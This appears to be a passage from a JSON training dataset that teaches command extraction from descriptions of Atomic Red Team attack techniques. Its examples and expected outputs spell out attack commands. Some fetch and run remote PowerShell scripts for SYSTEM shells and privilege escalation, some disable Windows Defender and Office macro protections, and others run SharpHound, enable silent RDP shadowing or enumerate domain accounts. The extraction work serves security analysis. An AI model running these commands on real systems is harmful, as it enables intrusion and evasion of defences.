{\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To prevent Windows Defender from starting after a reboot, use the following command: Set-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\" -Name DisableAntiSpyware -Value 1. This will cause the Virus and Threat protection window to appear grayed out upon restart.; The Gorgon group often disables Office security features to execute their code without warnings, which can be done by running the following commands: New-Item -Path \"HKCU:\\Software\\Microsoft\\Office\\16.0\\Excel\"\nNew-Item -Path \"HKCU:\\Software\\Microsoft\\Office\\16.0\\Excel\\Security\"\nNew-Item -Path \"HKCU:\\Software\\Microsoft\\Office\\16.0\\Excel\\Security\\ProtectedView\"\nNew-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\Office\\16.0\\Excel\\Security\" -Name \"VBAWarnings\" -Value \"1\" -PropertyType \"Dword\"\nNew-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\Office\\16.0\\Excel\\Security\\ProtectedView\" -Name \"DisableInternetFilesInPV\" -Value \"1\" -PropertyType \"Dword\"\nNew-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\Office\\16.0\\Excel\\Security\\ProtectedView\" -Name \"DisableUnsafeLocationsInPV\" -Value \"1\" -PropertyType \"Dword\"\nNew-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\Office\\16.0\\Excel\\Security\\ProtectedView\" -Name \"DisableAttachementsInPV\" -Value \"1\" -PropertyType \"Dword\"",
    "output": "{\"command_list\": [\"Set-ItemProperty \\\"HKLM:\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows Defender\\\" -Name DisableAntiSpyware -Value 1\\n\", \"New-Item -Path \\\"HKCU:\\\\Software\\\\Microsoft\\\\Office\\\\16.0\\\\Excel\\\"\\nNew-Item -Path \\\"HKCU:\\\\Software\\\\Microsoft\\\\Office\\\\16.0\\\\Excel\\\\Security\\\"\\nNew-Item -Path \\\"HKCU:\\\\Software\\\\Microsoft\\\\Office\\\\16.0\\\\Excel\\\\Security\\\\ProtectedView\\\"\\nNew-ItemProperty -Path \\\"HKCU:\\\\Software\\\\Microsoft\\\\Office\\\\16.0\\\\Excel\\\\Security\\\" -Name \\\"VBAWarnings\\\" -Value \\\"1\\\" -PropertyType \\\"Dword\\\"\\nNew-ItemProperty -Path \\\"HKCU:\\\\Software\\\\Microsoft\\\\Office\\\\16.0\\\\Excel\\\\Security\\\\ProtectedView\\\" -Name \\\"DisableInternetFilesInPV\\\" -Value \\\"1\\\" -PropertyType \\\"Dword\\\"\\nNew-ItemProperty -Path \\\"HKCU:\\\\Software\\\\Microsoft\\\\Office\\\\16.0\\\\Excel\\\\Security\\\\ProtectedView\\\" -Name \\\"DisableUnsafeLocationsInPV\\\" -Value \\\"1\\\" -PropertyType \\\"Dword\\\"\\nNew-ItemProperty -Path \\\"HKCU:\\\\Software\\\\Microsoft\\\\Office\\\\16.0\\\\Excel\\\\Security\\\\ProtectedView\\\" -Name \\\"DisableAttachementsInPV\\\" -Value \\\"1\\\" -PropertyType \\\"Dword\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For binding a SYSTEM shell using WinPwn's CreateProcess function, execute this command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/CreateProcess/Get-CreateProcessSystemBind.ps1'); The NamedPipe Impersonation technique from WinPwn can be employed to get a SYSTEM shell with the command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/NamedPipe/NamedPipeSystem.ps1')",
    "output": "{\"command_list\": [\"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/CreateProcess/Get-CreateProcessSystemBind.ps1')\", \"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/NamedPipe/NamedPipeSystem.ps1')\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For recursively updating the owner and group of a file or directory, execute the command: chown -R #{owner}:#{group} #{file_or_folder}\n; You can change a file or folder's ownership by executing the command: chown #{owner} #{file_or_folder}\n",
    "output": "{\"command_list\": [\"chown -R #{owner}:#{group} #{file_or_folder}\\n\", \"chown #{owner} #{file_or_folder}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To disable prefetch and remove an application execution artifact, modify the registry using the following command, then restart the machine: reg add \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Memory Management\\PrefetchParameters\" /v \"EnablePrefetcher\" /t REG_DWORD /d 0 /f; To configure RDP shadowing in quiet mode, first ensure the Remote Desktop Services are running, then update the remote system's registry with this command: $s= New-CimSession -Computername #{server_name} -SessionOption (New-CimSessionOption -Protocol Dcom)\nGet-CimInstance -Namespace ROOT\\StandardCimv2 -ClassName MSFT_NetFirewallRule -Filter 'DisplayName=\"Remote Desktop - Shadow (TCP-In)\"' -CimSession $s | Invoke-CimMethod -MethodName Enable\nInvoke-CimMethod -ClassName StdRegProv -MethodName SetDWORDValue -Arguments @{hDefKey=[uint32]2147483650; sSubKeyName=\"Software\\Policies\\Microsoft\\Windows NT\\Terminal Services\"; sValueName=\"shadow\"; uValue=[uint32]2} -CimSession $s",
    "output": "{\"command_list\": [\"reg add \\\"HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Session Manager\\\\Memory Management\\\\PrefetchParameters\\\" /v \\\"EnablePrefetcher\\\" /t REG_DWORD /d 0 /f\\n\", \"$s= New-CimSession -Computername #{server_name} -SessionOption (New-CimSessionOption -Protocol Dcom)\\nGet-CimInstance -Namespace ROOT\\\\StandardCimv2 -ClassName MSFT_NetFirewallRule -Filter 'DisplayName=\\\"Remote Desktop - Shadow (TCP-In)\\\"' -CimSession $s | Invoke-CimMethod -MethodName Enable\\nInvoke-CimMethod -ClassName StdRegProv -MethodName SetDWORDValue -Arguments @{hDefKey=[uint32]2147483650; sSubKeyName=\\\"Software\\\\Policies\\\\Microsoft\\\\Windows NT\\\\Terminal Services\\\"; sValueName=\\\"shadow\\\"; uValue=[uint32]2} -CimSession $s\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    An indicator of malicious activity involves spawning a command prompt and executing a command with an IP address, which can be done using the following command:\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\" -UseBasicParsing)\n$macrocode = \"   Open `\"#{jse_path}`\" For Output As #1`n   Write #1, `\"WScript.Quit`\"`n   Close #1`n   Shell`$ `\"ping 8.8.8.8`\"`n\"\nInvoke-MalDoc -macroCode $macrocode -officeProduct \"#{ms_product}\"\n; To discover containers and resources in a container environment, adversaries may use the following command sequence: docker build -t t1613 $PathtoAtomicsFolder/T1613/src/\ndocker run --name t1613_container --rm -d -t t1613\ndocker ps\ndocker stats --no-stream\ndocker inspect $(docker ps -l -q --filter ancestor=t1613)",
    "output": "{\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\nIEX (iwr \\\"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\\\" -UseBasicParsing)\\n$macrocode = \\\"   Open `\\\"#{jse_path}`\\\" For Output As #1`n   Write #1, `\\\"WScript.Quit`\\\"`n   Close #1`n   Shell`$ `\\\"ping 8.8.8.8`\\\"`n\\\"\\nInvoke-MalDoc -macroCode $macrocode -officeProduct \\\"#{ms_product}\\\"\\n\", \"docker build -t t1613 $PathtoAtomicsFolder/T1613/src/\\ndocker run --name t1613_container --rm -d -t t1613\\ndocker ps\\ndocker stats --no-stream\\ndocker inspect $(docker ps -l -q --filter ancestor=t1613)\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    When executed successfully (with AV turned off), this command opens a .docx file that loads a remote macro template: start \"#{docx_file}\". The default behavior triggers Calculator.exe.; Upon execution, domain accounts will be enumerated by running these commands which will show their output directly in the PowerShell window: net user /domain\nnet group /domain",
    "output": "{\"command_list\": [\"start \\\"#{docx_file}\\\"\\n\", \"net user /domain\\nnet group /domain\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
